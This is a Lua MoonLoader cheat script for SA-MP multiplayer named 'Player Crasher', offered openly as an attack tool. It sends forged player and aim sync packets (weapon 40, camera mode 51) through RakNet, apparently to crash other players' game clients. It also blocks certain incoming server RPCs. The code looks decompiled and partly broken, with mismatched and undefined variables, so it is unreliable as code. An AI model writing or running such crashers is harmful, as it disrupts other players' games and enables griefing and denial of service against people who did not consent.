script_name("Player Crasher")
script_author("Mr_XyZz")
require("moonloader")
slot1 = false
slot2 = false
slot3 = false
slot4 = false
slot5 = false
slot6 = false
function main()
while not isSampAvailable() do
wait(0)
end
sampRegisterChatCommand("fcrash", uv0)
while true do
wait(0)
end
end
function slot3()
uv0 = not uv0
if uv1 then
sampAddChatMessage("{ff0000}[MrXCrasher]: {ffff00}On-Foot Crasher Now Is OFF", -1)
uv1 = false
else
sampAddChatMessage("{ff0000}[MrXCrasher]: {ffff00}On-Foot Crasher Now Is ON", -1)
uv1 = true
end
end
function onReceiveRpc(slot0, slot1)
if uv0 and slot0 == 13 then
return false
end
if uv0 and slot0 == 87 then
return false
end
end
require("lib.samp.events").onSendPlayerSync = function (slot0)
if uv0 then
uv1 = not uv1
samp_create_sync_data("aim").camMode = 0
end
if uv1 then
sendSpectator(uv2)
end
if uv0 then
uv3 = not uv3
if uv3 then
slot1 = samp_create_sync_data("player")
slot1.weapon = 40
slot1.keysData = 128
slot1.send()
printStringNow("~r~Player Crasher", 500)
return false
end
end
end
function sendSpectator(slot0)
if uv0 then
slot1 = samp_create_sync_data("aim")
slot1.camMode = 51
slot1.send()
end
end
function samp_create_sync_data(slot0, slot1)
slot2 = require("ffi")
slot3 = require("sampfuncs")
slot4 = require("samp.raknet")
slot7 = "struct " .. ({
player = {
"PlayerSyncData",
slot4.PACKET.PLAYER_SYNC,
sampStorePlayerOnfootData
},
vehicle = {
"VehicleSyncData",
slot4.PACKET.VEHICLE_SYNC,
sampStorePlayerIncarData
},
passenger = {
"PassengerSyncData",
slot4.PACKET.PASSENGER_SYNC,
sampStorePlayerPassengerData
},
aim = {
"AimSyncData",
slot4.PACKET.AIM_SYNC,
sampStorePlayerAimData
},
trailer = {
"TrailerSyncData",
slot4.PACKET.TRAILER_SYNC,
sampStorePlayerTrailerData
},
unoccupied = {
"UnoccupiedSyncData",
slot4.PACKET.UNOCCUPIED_SYNC
},
bullet = {
"BulletSyncData",
slot4.PACKET.BULLET_SYNC
},
spectator = {
"SpectatorSyncData",
slot4.PACKET.SPECTATOR_SYNC
}
})[slot0][1]
slot9 = tonumber(slot2.cast("uintptr_t", slot2.new(slot7 .. "*", slot2.new(slot7, {}))))
if (slot1 or true) and slot6[3] then
slot11, slot12 = nil
if slot1 == true then
slot11, slot12 = sampGetPlayerIdByCharHandle(PLAYER_PED)
else
slot12 = tonumber(slot1)
end
slot10(slot12, slot9)
end
return setmetatable({
send = function ()
slot0 = raknetNewBitStream()
raknetBitStreamWriteInt8(slot0, uv0[2])
raknetBitStreamWriteBuffer(slot0, uv1, uv2.sizeof(uv3))
raknetSendBitStreamEx(slot0, uv4.HIGH_PRIORITY, uv4.UNRELIABLE_SEQUENCED, 1)
raknetDeleteBitStream(slot0)
end
}, {
__index = function (slot0, slot1)
return uv0[slot1]
end,
__newindex = function (slot0, slot1, slot2)
uv0[slot1] = slot2
end
})
end
function emul_rpc(slot0, slot1)
slot2 = require("samp.events.bitstream_io")
slot3 = require("samp.events.handlers")
slot4 = require("samp.events.extra_types")
slot7 = {
Int32Array3 = true,
PlayerScorePingMap = true
}
if ({
onInitGame = {
139
},
onPlayerJoin = {
"int16",
"int32",
"bool8",
"string8",
137
},
onPlayerQuit = {
"int16",
"int8",
138
},
onRequestClassResponse = {
"bool8",
"int8",
"int32",
"int8",
"vector3d",
"float",
"Int32Array3",
"Int32Array3",
128
},
onRequestSpawnResponse = {
"bool8",
129
},
onSetPlayerName = {
"int16",
"string8",
"bool8",
11
},
onSetPlayerPos = {
"vector3d",
12
},
onSetPlayerPosFindZ = {
"vector3d",
13
},
onSetPlayerHealth = {
"float",
14
},
onTogglePlayerControllable = {
"bool8",
15
},
onPlaySound = {
"int32",
"vector3d",
16
},
onSetWorldBounds = {
"float",
"float",
"float",
"float",
17
},
onGivePlayerMoney = {
"int32",
18
},
onSetPlayerFacingAngle = {
"float",
19
},
onGivePlayerWeapon = {
"int32",
"int32",
22
},
onSetPlayerTime = {
"int8",
"int8",
29
},
onSetToggleClock = {
"bool8",
30
},
onPlayerStreamIn = {
"int16",
"int8",
"int32",
"vector3d",
"float",
"int32",
"int8",
32
},
onSetShopName = {
"string256",
33
},
onSetPlayerSkillLevel = {
"int16",
"int32",
"int16",
34
},
onSetPlayerDrunk = {
"int32",
35
},
onCreate3DText = {
"int16",
"int32",
"vector3d",
"float",
"bool8",
"int16",
"int16",
"encodedString4096",
36
},
onSetRaceCheckpoint = {
"int8",
"vector3d",
"vector3d",
"float",
38
},
onPlayAudioStream = {
"string8",
"vector3d",
"float",
"bool8",
41
},
onRemoveBuilding = {
"int32",
"vector3d",
"float",
43
},
onCreateObject = {
44
},
onSetObjectPosition = {
"int16",
"vector3d",
45
},
onSetObjectRotation = {
"int16",
"vector3d",
46
},
onDestroyObject = {
"int16",
47
},
onPlayerDeathNotification = {
"int16",
"int16",
"int8",
55
},
onSetMapIcon = {
"int8",
"vector3d",
"int8",
"int32",
"int8",
56
},
onRemoveVehicleComponent = {
"int16",
"int16",
57
},
onRemove3DTextLabel = {
"int16",
58
},
onPlayerChatBubble = {
"int16",
"int32",
"float",
"int32",
"string8",
59
},
onUpdateGlobalTimer = {
"int32",
60
},
onShowDialog = {
"int16",
"int8",
"string8",
"string8",
"string8",
"encodedString4096",
61
},
onDestroyPickup = {
"int32",
63
},
onLinkVehicleToInterior = {
"int16",
"int8",
65
},
onSetPlayerArmour = {
"float",
66
},
onSetPlayerArmedWeapon = {
"int32",
67
},
onSetSpawnInfo = {
"int8",
"int32",
"int8",
"vector3d",
"float",
"Int32Array3",
"Int32Array3",
68
},
onSetPlayerTeam = {
"int16",
"int8",
69
},
onPutPlayerInVehicle = {
"int16",
"int8",
70
},
onSetPlayerColor = {
"int16",
"int32",
72
},
onDisplayGameText = {
"int32",
"int32",
"string32",
73
},
onAttachObjectToPlayer = {
"int16",
"int16",
"vector3d",
"vector3d",
75
},
onInitMenu = {
76
},
onShowMenu = {
"int8",
77
},
onHideMenu = {
"int8",
78
},
onCreateExplosion = {
"vector3d",
"int32",
"float",
79
},
onShowPlayerNameTag = {
"int16",
"bool8",
80
},
onAttachCameraToObject = {
"int16",
81
},
onInterpolateCamera = {
"bool",
"vector3d",
"vector3d",
"int32",
"int8",
82
},
onGangZoneStopFlash = {
"int16",
85
},
onApplyPlayerAnimation = {
"int16",
"string8",
"string8",
"bool",
"bool",
"bool",
"bool",
"int32",
86
},
onClearPlayerAnimation = {
"int16",
87
},
onSetPlayerSpecialAction = {
"int8",
88
},
onSetPlayerFightingStyle = {
"int16",
"int8",
89
},
onSetPlayerVelocity = {
"vector3d",
90
},
onSetVehicleVelocity = {
"bool8",
"vector3d",
91
},
onServerMessage = {
"int32",
"string32",
93
},
onSetWorldTime = {
"int8",
94
},
onCreatePickup = {
"int32",
"int32",
"int32",
"vector3d",
95
},
onMoveObject = {
"int16",
"vector3d",
"vector3d",
"float",
"vector3d",
99
},
onEnableStuntBonus = {
"bool",
104
},
onTextDrawSetString = {
"int16",
"string16",
105
},
onSetCheckpoint = {
"vector3d",
"float",
107
},
onCreateGangZone = {
"int16",
"vector2d",
"vector2d",
"int32",
108
},
onPlayCrimeReport = {
"int16",
"int32",
"int32",
"int32",
"int32",
"vector3d",
112
},
onGangZoneDestroy = {
"int16",
120
},
onGangZoneFlash = {
"int16",
"int32",
121
},
onStopObject = {
"int16",
122
},
onSetVehicleNumberPlate = {
"int16",
"string8",
123
},
onTogglePlayerSpectating = {
"bool32",
124
},
onSpectatePlayer = {
"int16",
"int8",
126
},
onSpectateVehicle = {
"int16",
"int8",
127
},
onShowTextDraw = {
134
},
onSetPlayerWantedLevel = {
"int8",
133
},
onTextDrawHide = {
"int16",
135
},
onRemoveMapIcon = {
"int8",
144
},
onSetWeaponAmmo = {
"int8",
"int16",
145
},
onSetGravity = {
"float",
146
},
onSetVehicleHealth = {
"int16",
"float",
147
},
onAttachTrailerToVehicle = {
"int16",
"int16",
148
},
onDetachTrailerFromVehicle = {
"int16",
149
},
onSetWeather = {
"int8",
152
},
onSetPlayerSkin = {
"int32",
"int32",
153
},
onSetInterior = {
"int8",
156
},
onSetCameraPosition = {
"vector3d",
157
},
onSetCameraLookAt = {
"vector3d",
"int8",
158
},
onSetVehiclePosition = {
"int16",
"vector3d",
159
},
onSetVehicleAngle = {
"int16",
"float",
160
},
onSetVehicleParams = {
"int16",
"int16",
"bool8",
161
},
onChatMessage = {
"int16",
"string8",
101
},
onConnectionRejected = {
"int8",
130
},
onPlayerStreamOut = {
"int16",
163
},
onVehicleStreamIn = {
164
},
onVehicleStreamOut = {
"int16",
165
},
onPlayerDeath = {
"int16",
166
},
onPlayerEnterVehicle = {
"int16",
"int16",
"bool8",
26
},
onUpdateScoresAndPings = {
"PlayerScorePingMap",
155
},
onSetObjectMaterial = {
84
},
onSetObjectMaterialText = {
84
},
onSetVehicleParamsEx = {
"int16",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
"int8",
24
},
onSetPlayerAttachedObject = {
"int16",
"int32",
"bool",
"int32",
"int32",
"vector3d",
"vector3d",
"vector3d",
"int32",
"int32",
113
}
})[slot0] then
slot9 = raknetNewBitStream()
if not ({
onShowTextDraw = true,
onSetObjectMaterialText = true,
onVehicleStreamIn = true,
onSetObjectMaterial = true,
onInitMenu = true,
onInitGame = true,
onCreateObject = true
})[slot0] then
if #slot8 - 1 > 0 then
for slot14 = 1, slot10 do
if slot7[slot8[slot14]] then
slot4[slot15].write(slot9, slot1[slot14])
else
slot2[slot15].write(slot9, slot1[slot14])
end
end
end
elseif slot0 == "onInitGame" then
slot3.on_init_game_writer(slot9, slot1)
elseif slot0 == "onCreateObject" then
slot3.on_create_object_writer(slot9, slot1)
elseif slot0 == "onInitMenu" then
slot3.on_init_menu_writer(slot9, slot1)
elseif slot0 == "onShowTextDraw" then
slot3.on_show_textdraw_writer(slot9, slot1)
elseif slot0 == "onVehicleStreamIn" then
slot3.on_vehicle_stream_in_writer(slot9, slot1)
elseif slot0 == "onSetObjectMaterial" then
slot3.on_set_object_material_writer(slot9, slot1, 1)
elseif slot0 == "onSetObjectMaterialText" then
slot3.on_set_object_material_writer(slot9, slot1, 2)
end
raknetEmulRpcReceiveBitStream(slot8[#slot8], slot9)
raknetDeleteBitStream(slot9)
end
end